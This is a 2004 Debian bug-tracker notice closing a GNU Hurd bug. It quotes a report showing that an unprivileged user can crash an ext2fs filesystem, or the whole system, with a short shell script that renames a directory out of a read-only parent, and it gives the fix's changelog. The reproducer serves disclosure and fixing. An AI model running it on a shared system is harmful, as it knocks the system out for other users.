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Bug#190732: marked as done (hurd: non-priviledged user may crash filesys

From: Debian Bug Tracking System
Subject: Bug#190732: marked as done (hurd: non-priviledged user may crash filesystem)
Date: Mon, 01 Mar 2004 11:03:09 -0800

Your message dated Mon, 1 Mar 2004 19:18:16 +0100
with message-id <20040301181816.GA16922@blackbird.oase.mhn.de>
and subject line hurd: non-priviledged user may crash filesystem
has caused the attached Bug report to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

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From: Robert Millan <rmh@debian.org>
To: Debian Bug Tracking System <submit@bugs.debian.org>
Subject: hurd: non-priviledged user may crash filesystem
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Package: hurd
Version: 20021118-2
Severity: critical

by exploiting this bug, a non-priviledged user is able to crash
a filesystem on which he/she has read/write access to. if that
filesystem is /, then is able to crash the whole system.

test log:

$ dd if=/dev/zero of=./fs ibs=32k count=10 ; mke2fs -o hurd ./fs
$ settrans -cafg ./mnt /hurd/ext2fs ./fs
$ cat cbtf
#!/bin/sh -x
# crashes the filesystem on which it is being run.
# (caution: if that filesystem is /, crashes the system)
rm -rf no-write dir
mkdir -p no-write/dir
chmod 555 no-write
mv no-write/dir .
$ ./cbtf
+ rm -rf no-write dir
+ mkdir -p no-write/dir
+ chmod 555 no-write
+ mv no-write/dir .
ext2fs: ../../libdiskfs/dir_renamed.c: 202: diskfs_rename_dir: Assertion `tmpnp 
= fnp' failed.
mv: cannot move `no_write/dir' to `./dir': Computer bought the farm

-- System Information:
Debian Release: testing/unstable
Architecture: hurd-i386
Kernel: GNU aragorn 0.3 GNUmach-1.2/Hurd-0.3 i386-AT386

Versions of packages hurd depends on:
ii  libc0.3                  2.3.1-5         GNU C Library: Shared libraries an
ii  libncursesw5             5.2.20020112a-8 Shared libraries for terminal hand

-- no debconf information

Received: (at 190732-done) by bugs.debian.org; 1 Mar 2004 18:48:16 +0000
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Date: Mon, 1 Mar 2004 19:18:16 +0100
From: Michael Banck <mbanck@debian.org>
To: 190732-done@bugs.debian.org
Subject: Re: hurd: non-priviledged user may crash filesystem
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This bug has been fixed by the recent upload of hurd_20040301-1. One
patch has been applied to fix this bug:

2003-06-11  Ognyan Kulev  <ogi@fmi.uni-sofia.bg>

        * dir-renamed.c (diskfs_rename_dir): Check permissions to remove
        FROMNAME before any modification could take place.  Check result
        of removing the from node.

The still not applied patch for libdiskfs contained in the bug log is
also available at



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